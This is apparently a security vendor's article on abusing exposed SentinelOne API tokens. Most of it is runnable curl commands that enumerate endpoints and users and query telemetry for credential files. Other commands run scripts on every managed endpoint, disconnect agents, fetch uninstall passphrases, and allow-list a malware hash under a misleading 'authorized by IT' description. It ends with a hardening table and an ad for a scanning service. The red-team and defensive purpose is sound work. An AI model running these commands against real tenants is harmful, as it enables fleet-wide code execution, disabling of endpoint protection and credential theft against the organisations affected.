SentinelOne is one of the most widely deployed EDR/XDR platforms globally, protecting millions of endpoints across enterprise environments. When API tokens are exposed or management consoles are misconfigured, attackers gain visibility into the entire endpoint estate, can execute commands on managed devices via Remote Shell, query Deep Visibility telemetry, and enumerate detection policies — effectively turning the security tool against itself.
SentinelOne operates as a SaaS management platform (the "Singularity Platform") with agents deployed on endpoints. The management console is hosted at <tenant>.sentinelone.net and exposes a comprehensive REST API used by all integrations, SIEM connectors, SOAR playbooks, and automation scripts.
| Component | Attack Surface | Credential Type |
|---|---|---|
| Management Console | Web UI at <tenant>.sentinelone.net | Username/password + 2FA, SSO |
| REST API | /web/api/v2.1/ endpoints | API Token (Bearer) |
| Deep Visibility | EDR telemetry query engine | API Token with DV:Read scope |
| Remote Shell | Interactive shell on managed endpoints | API Token with Remote Shell scope |
| Ranger | Agentless network device discovery | API Token + Ranger-deployed agent |
| SIEM Integration | Syslog forwarder / SIEM connector | API Token in integration config |
| Webhook / SOAR | Outbound threat alert webhook | API Token in SOAR platform config |
API tokens in SentinelOne are long-lived bearer tokens associated with a user account. They inherit the permissions of the account they were generated from — a token from an admin account provides full platform control, including the ability to run commands on every managed endpoint.
SentinelOne API tokens typically appear as 80-character alphanumeric strings prefixed with nothing (unlike some other platforms). They are frequently found in SIEM configurations, SOAR playbooks, CI/CD pipelines, and automation scripts.
S1_API_TOKEN or SENTINELONE_TOKENENV S1_TOKEN=... baked into images pushed to public registries# Grep for SentinelOne API tokens in a code repository
# Tokens are 80-char alphanumeric strings — search by context
grep -rE "(sentinelone|s1_token|S1_API|SENTINELONE_API_TOKEN|S1Token)" . --include="*.env" --include="*.yml" --include="*.yaml" --include="*.json" --include="*.py" --include="*.js" --include="*.tf"
# Search for the management console URL pattern
grep -rE "[a-zA-Z0-9_-]+\.sentinelone\.net" . 2>/dev/null
# Trufflehog scan for secrets (includes SentinelOne detector)
trufflehog filesystem . --only-verified
# Gitleaks scan
gitleaks detect --source . --report-format json --report-path s1_leaks.json
# Search Docker Hub for images with embedded tokens
docker run --rm trufflesecurity/trufflehog:latest docker --image
# Validate a SentinelOne API token
S1_URL="https://your-tenant.sentinelone.net"
S1_TOKEN="your_api_token_here"
# Test token validity — get current user info
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/users/me" | python3 -m json.tool
# Response shows: id, fullName, email, role, createdAt
# Successful response confirms a valid token
# Get token metadata (scope, expiry if set)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/users/api-token-details" | python3 -m json.tool
With a valid API token, the SentinelOne management API exposes the full endpoint inventory, user accounts, groups, threat detections, and policy configurations.
S1_URL="https://your-tenant.sentinelone.net"
S1_TOKEN="your_api_token_here"
# Get all sites (organizational units)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/sites" | python3 -m json.tool
# Get all groups within a site
SITE_ID="your_site_id"
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/groups?siteIds=$SITE_ID" | python3 -m json.tool
# Get endpoint inventory — all managed agents
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/agents?limit=200" | \
python3 -c "import sys,json; agents=json.load(sys.stdin)['data']; [print(a['computerName'], a['osType'], a['agentVersion'], a['networkInterfaces'][0]['inet'][0] if a.get('networkInterfaces') else 'N/A') for a in agents]"
# Export full endpoint list with OS, IP, hostname, last-seen
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/agents?limit=1000&sortBy=computerName&sortOrder=asc" | \
python3 -m json.tool > s1_agents_full.json
# List all console users
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/users" | python3 -m json.tool
# This reveals: usernames, email addresses, roles, 2FA status, last login
# Key finding: users without 2FA enabled are brute-force targets
# Get current user scope and permissions
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/users/me" | python3 -m json.tool
# List all API tokens (admin only — can reveal other service accounts)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/users/api-tokens" | python3 -m json.tool
# Get recent threats/detections
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/threats?limit=200&sortBy=createdAt&sortOrder=desc" | \
python3 -m json.tool
# This reveals: malware filenames, process command lines, file hashes, affected endpoints
# Red teamers use this to understand what behavioral detections fired vs. didn't
# Get threats by site
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/threats?siteIds=$SITE_ID&limit=200" | python3 -m json.tool
# Export threat intel data (IOC intelligence)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/threats/export/csv" \
-H "Accept: text/csv" -o threats_export.csv
Deep Visibility is SentinelOne's EDR telemetry query engine — the equivalent of CrowdStrike's Event Search. It records process executions, file events, network connections, and registry changes across all managed endpoints. An attacker with API access can use Deep Visibility to hunt for credentials, configuration files, and sensitive data across the entire fleet.
# Deep Visibility queries use SentinelOne's Power Query language (similar to SQL)
# Queries run via the /web/api/v2.1/dv/init-query endpoint
# Step 1: Initialize a query
QUERY_PAYLOAD='{
"query": "EventType = \"Process Creation\" AND CommandLine ContainsCIS \"password\"",
"fromDate": "2026-07-01T00:00:00.000Z",
"toDate": "2026-07-06T23:59:59.000Z",
"limit": 200
}'
QUERY_RESPONSE=$(curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/dv/init-query" \
-d "$QUERY_PAYLOAD")
QUERY_ID=$(echo $QUERY_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['queryId'])")
echo "Query ID: $QUERY_ID"
# Step 2: Check query status
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/dv/query-status?queryId=$QUERY_ID" | python3 -m json.tool
# Step 3: Fetch results
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/dv/events?queryId=$QUERY_ID" | python3 -m json.tool
# Hunt for plaintext credentials in process command lines
'EventType = "Process Creation" AND (CommandLine ContainsCIS "password" OR CommandLine ContainsCIS "-p " OR CommandLine ContainsCIS "--password")'
# Find SSH private key file access
'EventType = "File Modification" AND (FilePath ContainsCIS ".ssh/id_rsa" OR FilePath ContainsCIS ".ssh/id_ed25519")'
# Hunt for database connection string exposure in scripts
'EventType = "Process Creation" AND (CommandLine ContainsCIS "mysql" OR CommandLine ContainsCIS "psql") AND CommandLine ContainsCIS "-p"'
# Find credential files being read
'EventType = "File Modification" AND (FilePath ContainsCIS ".env" OR FilePath ContainsCIS "credentials" OR FilePath ContainsCIS "secrets.yml")'
# Hunt for AWS credential access
'EventType = "File Modification" AND FilePath ContainsCIS ".aws/credentials"'
# Find kube config access (cloud credentials)
'EventType = "File Modification" AND FilePath ContainsCIS ".kube/config"'
# Network connections to external hosts (data exfil patterns)
'EventType = "IP Connect" AND DstPort In ("22", "443", "80") AND DstIP Not In ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")'
# Process injection / suspicious parent-child relationships
'EventType = "Process Creation" AND ParentProcessName In ("winword.exe", "excel.exe", "outlook.exe", "chrome.exe")'
SentinelOne Remote Shell (available on Business and Enterprise tiers) allows management console users to open an interactive shell on any managed endpoint. This is the most direct post-exploitation path — effectively RCE on every machine protected by SentinelOne.
# Remote Shell requires an API token with "Remote Operations: Execute" scope
# The user must also have the Remote Shell permission on their role
# Step 1: Get target agent ID
TARGET_HOSTNAME="target-server-01"
AGENT_ID=$(curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/agents?computerName=$TARGET_HOSTNAME" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['id'])")
echo "Agent ID: $AGENT_ID"
# Step 2: Create a Remote Shell session
SESSION_RESPONSE=$(curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/remote-scripts/execute" \
-d "{
\"data\": {
\"script\": \"id; whoami; hostname; cat /etc/passwd | head -20\",
\"scriptType\": \"bash\",
\"outputDestination\": \"Local\",
\"taskDescription\": \"System information\",
\"saveStaticFiles\": false
},
\"filter\": {
\"ids\": [\"$AGENT_ID\"]
}
}")
echo "$SESSION_RESPONSE" | python3 -m json.tool
# Step 3: Get script execution results
TASK_ID=$(echo $SESSION_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['id'])")
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/remote-scripts/results?taskId=$TASK_ID" | python3 -m json.tool
# Execute a script on ALL managed Linux endpoints simultaneously
# This demonstrates the blast radius of a compromised admin API token
curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/remote-scripts/execute" \
-d '{
"data": {
"script": "cat /etc/hostname; cat /etc/os-release | grep PRETTY_NAME; id",
"scriptType": "bash",
"outputDestination": "Local",
"taskDescription": "Inventory audit",
"saveStaticFiles": false
},
"filter": {
"osTypes": ["linux"],
"siteIds": ["YOUR_SITE_ID"]
}
}' | python3 -m json.tool
# For Windows endpoints
curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/remote-scripts/execute" \
-d '{
"data": {
"script": "whoami; hostname; ipconfig /all",
"scriptType": "powershell",
"outputDestination": "Local",
"taskDescription": "Inventory audit",
"saveStaticFiles": false
},
"filter": {
"osTypes": ["windows"]
}
}' | python3 -m json.tool
# An admin API token can disconnect/disable the SentinelOne agent on a target
# This removes EDR protection from the endpoint
# Disconnect agent (agent stops reporting, protection enters "disconnected" mode)
curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/agents/actions/disconnect" \
-d "{
\"filter\": {\"ids\": [\"$AGENT_ID\"]},
\"data\": {}
}" | python3 -m json.tool
# Fetch the agent passphrase (needed to uninstall agent locally)
# Requires Admin: Read scope
curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/agents/passphrases" \
-d "{\"data\": {\"agentIds\": [\"$AGENT_ID\"]}}" | python3 -m json.tool
# Returns the uninstall passphrase for the agent — can be used locally to remove S1
SentinelOne Ranger is an agentless network visibility module that turns managed endpoints into network scanners. When an attacker controls the management API, they can weaponize Ranger to scan internal networks and discover unprotected assets.
# Get Ranger network inventory (discovered devices without agents)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/ranger/agents" | python3 -m json.tool
# This returns: IP addresses, MAC addresses, open ports, OS guesses, device types
# Particularly useful for discovering IoT devices, network gear, and unmanaged servers
# Get Ranger network segments
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/ranger/network-segments" | python3 -m json.tool
# Get detailed view of a specific discovered device
RANGER_DEVICE_ID="ranger_device_id"
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/ranger/agents/$RANGER_DEVICE_ID" | python3 -m json.tool
Understanding what SentinelOne is configured to detect — and more importantly, what it's configured to ignore — provides a roadmap for evading detection during an engagement.
# List all exclusions (file paths, processes, certificates, hashes that are whitelisted)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/exclusions" | python3 -m json.tool
# Exclusion types: path, certificate, browser, file_type, white_hash
# Key finding: broad path exclusions (e.g., C:\DevTools\*) can be used as staging areas
# Get interoperability exclusions (3rd party tool compatibility exclusions)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/exclusions?osTypes=windows&type=path" | python3 -m json.tool
# Get policy settings (protection levels)
curl -s -H "Authorization: ApiToken $S1_TOKEN" \
"$S1_URL/web/api/v2.1/policies?scopeLevel=group&siteIds=$SITE_ID" | python3 -m json.tool
# Policy modes: Detect Only, Protect (kill), Protect (quarantine)
# Finding Detect Only policies = live malware won't be killed on those endpoints
# Add a hash to the allow-list (whitelist) — requires write permissions
# This permanently allows execution of a specific file hash across the tenant
curl -s -X POST \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
"$S1_URL/web/api/v2.1/exclusions" \
-d '{
"data": {
"type": "white_hash",
"value": "your_malware_sha256_hash_here",
"description": "Approved application — authorized by IT",
"osType": "windows",
"mode": "suppress"
},
"filter": {
"siteIds": ["YOUR_SITE_ID"]
}
}' | python3 -m json.tool
# Note: This creates a persistent exclusion that survives agent restarts
# The description field is logged in audit trail but not actively verified
| Control | Priority | Action |
|---|---|---|
| Rotate all API tokens immediately | Critical | Audit all API tokens; regenerate any tokens that may have been exposed; tokens do not expire by default — set expiration dates |
| Enable token expiration | Critical | Set API token expiration dates on all service account tokens; do not issue non-expiring tokens for automated integrations |
| Enforce 2FA on all console users | Critical | Require 2FA/MFA for all console users; enforce via SSO/SAML with MFA required at the IdP level |
| Apply least-privilege roles | High | SIEM integrations need read-only scopes; no integration should have Remote Shell or Admin write access unless required |
| Restrict Remote Shell access | High | Limit Remote Shell permission to named IR team members only; log and alert on all Remote Shell session initiations |
| Enable activity log SIEM forwarding | High | Forward SentinelOne Activity Logs to your SIEM; alert on token creation, exclusion additions, policy changes, and agent disconnections |
| Audit exclusions quarterly | High | Review all path, hash, and process exclusions; remove stale or overly broad exclusions; document the business justification for every exclusion |
| Block API access by IP allowlist | High | Restrict API token usage to specific IP ranges (e.g., SIEM server IPs, DevOps jump hosts); configure in console settings |
| Set all policies to Protect mode | High | Ensure no sites or groups are in Detect Only mode; Detect Only means malware runs unimpeded |
| Rotate tokens after personnel changes | Medium | Immediately revoke tokens belonging to departing employees or contractors; audit token ownership on a schedule |
| Enable Deep Visibility alerting | Medium | Create Deep Visibility STAR rules that alert on high-risk process creation patterns; treat DV query results as high-fidelity signals |
Ironimo's Kali Linux-powered scanning engine tests for exposed SentinelOne API tokens, misconfigured management consoles, and detection policy gaps — helping security teams validate their EDR deployment before attackers exploit it.
Start free scan